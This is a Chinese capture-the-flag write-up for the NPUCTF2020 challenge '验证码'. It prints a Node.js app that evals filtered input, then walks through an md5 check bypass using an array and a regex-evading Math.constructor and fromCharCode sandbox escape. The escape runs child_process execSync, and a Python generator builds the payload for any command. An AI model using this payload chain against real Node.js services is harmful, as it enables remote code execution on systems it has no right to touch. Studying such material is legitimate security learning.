[NPUCTF2020]验证码

知识点

  • JS弱类型
  • JS的toString特性
  • 正则表达式绕过
  • JS箭头函数利用
  • JS原型链

不会node.js我太菜了,要慢慢学起来。

WP

进入环境访问/source路由看到源码:

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = ['123ewqrqwwq']

function md5(s) {
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

function saferEval(str) {
    //let feng=str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')
    //console.log(`replace: ${feng}`)
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    //console.log(`the code will be executed is :      ${str}`)
    return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
    return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
    name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
    keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
    let result = '';
    const results = req.session.results || [];
    const { e, first, second } = req.body;
    //console.log(e)
    //console.log(first)
    //console.log(second)
    if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
        if (req.body.e) {
            try {
                console.log("you can eval")
                result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
            } catch (e) {
                console.log(e);
                result = 'Wrong Wrong Wrong!!!';
            }
            results.unshift(`${req.body.e}=${result}`);
        }
    } else {
        results.unshift('Not verified!');
    }
    if (results.length > 13) {
        results.pop();
    }
    req.session.results = results;
    res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync('./test.js'));
});

app.get('/', function (req, res) {
    res.set('Content-Type', 'text/html;charset=utf-8');
    req.session.admin = req.session.admin || 0;
    res.send(render(req.session.results = req.session.results || []))
});

app.listen(39123, '0.0.0.0', () => {
    console.log('Start listening')
});

看一下,大概就是两步,第一步就是这里的md5绕过:

if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {

利用数组来绕过即可,原理大概就是这样:

[1]+'1'//'11'
'1'+'1'//'11'
[1]!=='1'

所以这样传参即可,注意Content-type是application/json

{"e":"2-1","first":"1","second":[1]}

之后就是代码执行了:

result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
function saferEval(str) {
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

把满足正则表达式的部分全都删掉后传入的str为空才可以成功执行。
看一下这个正则,第一部分是类似Math.xxx或只有Math这样的的,第二部分是可以包括这些字符:
[()+\-*/&|^%<>=,?:
第三部分是以一定数字开头,然后跟0或者1个点,然后任意的数字,然后0或者一个类似e1111这样的。感觉这是整数,浮点数和科学计数法。
正则理清的话就是如何rce了。首先就是拿到Function:
在这里插入图片描述
利用constructor这个构造函数属性就可以拿到Function,然后拿到了Function正常可以这样rce:

let a=Math.constructor.constructor
console.log(a("return process.mainModule.require('child_process').execSync('dir').toString()")())

在这题就是这样了:

Math=Math.constructor,
Math.constructor("return process.mainModule.require('child_process').execSync('dir').toString()")()

但是问题就在于,不允许字符串,因此Function里面很难办。WP是用了String.fromCharCode(...)

def gen(cmd):
  s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
  return ','.join([str(ord(i)) for i in s])

但是这个String又该怎么弄到呢,在没有单双引号的情况下。这里还是字符串的拼接:

Math+1 //"[object Math]1"

这里用到了箭头函数:

(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1)

美化一下就是这样:

(Math=>
    (Math=Math.constructor,
            Math.constructor(
                Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
    )
)(Math+1)

一般的箭头函数都是用{},但是因为这题只能用括号,而正好有用括号的语法,所以也可以用括号。
在这里插入图片描述
再分析一波的话,就是首先一个箭头函数(()=>())()的自调用,传入的参数是Math+1,也就是一个字符串,字符串经过两次constructor同样是Function,
就相当于是:

Function(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()

类似Function()()的格式,里面的函数也同样可以调用,成功执行代码,得到flag。

总结

总的来说这题还是学到了很多东西,但是还是感觉有一点懵,还是node.js没学到,继续加油了。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值